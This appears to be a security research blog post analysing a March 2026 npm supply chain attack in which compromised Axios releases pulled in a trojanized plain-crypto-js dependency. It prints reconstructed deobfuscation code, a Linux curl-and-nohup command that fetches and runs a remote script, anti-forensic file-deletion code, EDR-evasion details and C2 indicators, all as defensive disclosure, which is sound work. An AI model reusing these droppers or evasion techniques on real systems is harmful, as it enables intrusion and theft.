New Research: Supply Chain Attack on Axios Pulls Malicious Dependency from npm.Details →
Socket
Book a DemoSign in
Socket
Blog
Research

Supply Chain Attack on Axios Pulls Malicious Dependency from npm

A supply chain attack on Axios introduced a malicious dependency, plain-crypto-js@4.2.1, published minutes earlier and absent from the project’s GitHub releases.

Supply Chain Attack on Axios Pulls Malicious Dependency from npm

Socket Research Team

March 31, 2026

A supply chain attack targeting the widely used HTTP client Axios has introduced a malicious dependency into specific npm releases, including axios@1.14.1 and axios@0.30.4.

The latest version pulls in plain-crypto-js@4.2.1, a package that Socket has confirmed as malicious. Our analysis shows the malicious package deploys a multi-stage payload, including a remote access trojan (RAT) capable of executing arbitrary commands, exfiltrating system data, and persisting on infected machines.

Axios is one of the most widely used HTTP clients in the JavaScript ecosystem, with 100 million weekly downloads on npm and adoption across frontend frameworks, backend services, and enterprise applications.

At this time, we have not observed any evidence linking this activity to the recently reported TeamPCP campaigns.

Release Appears Outside Normal Axios Workflow#

The affected Axios version does not appear in the project’s official GitHub tags.

Axios typically publishes tagged releases alongside npm publishes. At the time of writing, v1.14.0 is the most recent visible tag on the Axios repository, with no corresponding tag for the newly observed version.

This break from the project’s normal release pattern indicates the package may have been published outside the standard release process.

When the attack first happened, Axios maintainers were unable to regain control of the project. In a public GitHub issue, a collaborator stated they could not revoke access from the account responsible for the malicious publish, noting that the attacker’s permissions exceed their own.

An Axios maintainer has since responded publicly, stating they are actively working to understand how the compromise occurred and to secure the release process. Early discussion suggests gaps in the publishing workflow, including continued use of a long-lived npm token alongside trusted publishing, which may have allowed unauthorized access. Remediation efforts are now focused on revoking tokens, tightening publish controls, and restoring a secure release pipeline.

Malicious Dependency Published Minutes Earlier#

The malicious package plain-crypto-js@4.2.1 was published on March 30, 2026 at 23:59:12 UTC. Socket’s automated malware detection flagged the package within six minutes, at 00:05:41 UTC on March 31. An earlier version, plain-crypto-js@4.2.0, had been published 18 hours prior by nrwise@proton.me . This was a clean copy and typosquat of the legitimate crypto-js library with no malicious payload.

The timing suggests the dependency was prepared and introduced in coordination with the Axios publish.

The Axios update introduces a minimal change, primarily adding the malicious dependency. Specifically, two malicious versions of Axios were published directly to the npm registry: axios@1.14.1 and axios@0.30.4. Both the 1.x and 0.x release branches were poisoned within 39 minutes of each other. Any project using a caret range (^1.14.0 or ^0.30.0) would pull in the compromised version on its next npm install.

This is a common tactic in supply chain attacks. Small, targeted changes are less likely to raise suspicion while still allowing attackers to execute malicious code through transitive dependencies, which are likely to receive less scrutiny than a popular package.

Suspicious Publisher Activity#

The malicious package is associated with the npm publisher jasonsaayman.

This account appears in connection with the dependency chain introduced in the compromised Axios release, raising concerns about unauthorized publishing or account compromise.

What to do now#

  • Check your dependencies and lockfiles for:
  • Review your Socket project’s Dependencies and Campaigns pages for exposure
  • Check feature branches and open PRs for these versions
  • If found, remove them or roll back to a known safe version immediately

This is an active and developing incident. We are continuing to investigate the scope of the compromise and will share additional updates as more information becomes available.

Inside the malicious plain-crypto-js#

Socket's automated scanner performed full static analysis of the trojanized dependency at the center of this attack. The dropper (setup.js, 4209 bytes) is executed automatically via the postinstall npm lifecycle hook. Here's what we found.

Execution Flow

npm install plain-crypto-js → postinstall hook → node setup.js → _entry("6202033") → detect OS via os.platform() → branch to platform-specific payload delivery → delete setup.js → rename package.md → package.json (removes postinstall evidence)

Obfuscation Technique

The malware in setup.js uses a custom two-layer encoding scheme designed specifically to evade static analysis and signature-based detection:

  1. Layer 1 — Reversed Base64: The encoded string is reversed, underscores are replaced with = padding characters, and the result is base64-decoded.
  2. Layer 2 — XOR Cipher: Each decoded character is XORed with a digit from the key OrDeR_7077 (selected by index 7*i*i % 10) and the constant 333.

All 18 obfuscated strings in the stq[] array — including module names, the C2 URL, shell commands, and file paths — are hidden behind this encoding. This is not minification or legitimate IP protection; it is purpose-built to hide malware indicators from scanners.

// Deobfuscation functions (reconstructed)
const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};

const ord = "OrDeR_7077";

Decoded Payload Strings

Static decoding of all 18 stq[] entries reveals the full attack infrastructure. The strings fall into four categories:

  • Node.js modulesstq[0]: child_process, stq[1]: os, stq[2]: fs
  • C2 and platform detectionstq[3]: http://sfrclak[.]com:8000/ (C2 base URL), stq[5]: win32, stq[6]: darwin
  • Platform-specific dropper templatesstq[7]: VBScript dropper for Windows, stq[8]: cscript launcher command, stq[9]: AppleScript dropper for macOS, stq[10]: nohup osascript launcher, stq[12]: curl -o /tmp/ld.py for Linux
  • Anti-forensics and file extensionsstq[13]: package.json (deletion target), stq[14]: package.md (clean replacement), stq[15]: .exe, stq[16]: .ps1, stq[17]: .vbs

Each platform variant sends a distinct POST body to the same C2 endpoint: packages[.]npm[.]org/product0 (macOS), packages[.]npm[.]org/product1 (Windows), packages[.]npm[.]org/product2 (Linux). Note that npm.org is not the npm registry; the domain belongs to the National Association of Pastoral Musicians and has since 1997. The actual npm registry lives at registry.npmjs.org. The string is the -d (data) argument to curl, sent as the HTTP POST body to sfrclak[.]com:8000. The naming is deliberate: network monitoring tools and SIEM rules that log HTTP request bodies will see what looks like routine npm registry traffic at a glance. The product number suffix also lets the C2 server route to the correct platform-specific payload from a single endpoint.

Platform-Specific Payloads

macOS: The dropper uses AppleScript to download a binary to /Library/Caches/com.apple.act.mond — deliberately mimicking Apple's com.apple.* naming convention to appear as a legitimate system daemon. The binary is fetched via curl with a POST body of packages[.]npm[.]org/product0 (acting as a campaign identifier), made executable (chmod 770), and launched via /bin/zsh in the background. The C2 URL is passed as an argument to the downloaded binary. The AppleScript itself is launched through a nohup osascript wrapper.

Windows (win32): The attack locates PowerShell via where powershell and copies it to %PROGRAMDATA%\\wt.exe — disguising it as Windows Terminal to evade EDR detection. A VBScript wrapper (window style 0 = hidden) then launches curl to download a .ps1 script to %TEMP%\\6202033.ps1 and execute it with -w hidden -ep bypass flags. The VBS file (%TEMP%\\6202033.vbs) is launched via cscript //nologo and self-deletes after execution. Renaming powershell.exe is a well-known EDR evasion technique.

Linux: The simplest payload — downloads a Python script to /tmp/ld.py via curl (POST body: packages[.]npm[.]org/product2) and runs it detached with nohup python3.

curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

The dropper's job is delivery: it downloads and executes a platform-specific script or binary from the C2 server.

macOS Second-Stage Payload: Mach-O RAT

Security researcher Joe Desimone from Elastic Security captured and reverse-engineered the macOS second-stage binary before the C2 went offline. The payload is a fully functional remote access trojan written in C++.

On launch, the RAT receives the C2 URL via argv[1] (passed by the dropper), generates a 16-character unique victim ID, fingerprints the system (hostname, username, macOS version, timezone, CPU type, OS install date, boot time, running processes, directory listings of /Applications, ~/Library, and ~/Application Support), and beacons to the C2 via HTTP POST every 60 seconds. All data is Base64-encoded. The User-Agent string is mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) — a fake Internet Explorer 8 on Windows XP signature, highly distinctive in network logs.

RAT commands:

  • peinject — receives a Base64-encoded binary, writes it to a hidden temp file (/private/tmp/.XXXXXX), ad-hoc code signs it (codesign --force --deep --sign -), and executes it. This gives the attacker the ability to deploy additional payloads.
  • runscript — executes a shell command via /bin/sh or a Base64-encoded AppleScript via /usr/bin/osascript (written to /tmp/.XXXXXX.scpt, then cleaned up)
  • rundir — enumerates directories, collecting name, size, timestamps, and hierarchy
  • kill — terminates the RAT

This confirms the macOS code path was functional and the attack delivered a full-featured RAT with the ability to execute arbitrary commands, inject additional binaries, and enumerate the victim's filesystem.

Anti-Forensics: Self-Destruction

After payload execution, the malware performs three cleanup operations to destroy evidence:

  1. Deletes setup.js — removes the malicious script itself
  2. Deletes package.json — removes the version (4.2.1) containing the postinstall hook
  3. Renames package.md to package.json — restores a clean version (4.2.0) with no postinstall script
// Delete setup.js
fs.unlink(__filename, (x => {}));
// Delete current package.json (contains postinstall hook)
fs.unlink("package.json", (x => {}));
// Rename clean package.md → package.json
fs.rename("package.md", "package.json", (x => {}));

Post-cleanup, the installed node_modules/plain-crypto-js/ directory appears to be a normal copy of crypto-js with no trace of malicious code.

Socket's scanner identified two additional packages distributing the same malware through vendored dependencies:

@shadanai/openclaw

This package is a fork of the open-source OpenClaw AI gateway. The malicious plain-crypto-js trojan is hidden deep in a vendored path of versions 2026.3.31-2 and 2026.3.31-1 of the package.

The setup.js file is identical to the standalone plain-crypto-js package — same obfuscation, same C2 (sfrclak[.]com:8000), same platform payloads, same self-deletion mechanism.

@qqbrowser/openclaw-qbot@0.0.130

This package uses a different injection vector. Rather than vendoring plain-crypto-js directly, it ships a tampered axios@1.14.1 in its node_modules/ with plain-crypto-js injected as a dependency.

The real axios has only three dependencies (follow-redirects, form-data, proxy-from-env). The addition of plain-crypto-js is unambiguous tampering. When npm processes this vendored axios, it installs plain-crypto-js and triggers the same malicious postinstall chain.

It is likely that these two packages have built and published while axios@1.14.1 was the latest version, picking up the malicious dependency transitively rather than injecting it deliberately. This serves as a reminder that as AI tooling and automated build pipelines accelerate the pace of package publishing, a single compromised dependency can cascade through the ecosystem within hours.

Indicators of Compromise (IOCs)#

Malicious Packages

Network Indicators

  • C2 domain: sfrclak[.]com
  • C2 IP: 142.11.206.73
  • C2 URL: http://sfrclak[.]com:8000/6202033
  • POST body (macOS): packages[.]npm[.]org/product0
  • POST body (Windows): packages[.]npm[.]org/product1
  • POST body (Linux): packages[.]npm[.]org/product2

File System

  • /Library/Caches/com.apple.act.mond — macOS payload
  • %PROGRAMDATA%\wt.exe — renamed copy of powershell.exe (Windows)
  • %TEMP%\6202033.vbs — VBScript launcher (Windows, self-deletes)
  • %TEMP%\6202033.ps1 — PowerShell payload (Windows, self-deletes)
  • /tmp/ld.py — Python payload (Linux)
  • $TMPDIR/6202033 — temp file (all platforms)

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub App
Book a Demo

Questions? Call us at (844) SOCKET-0

Related posts

Back to all posts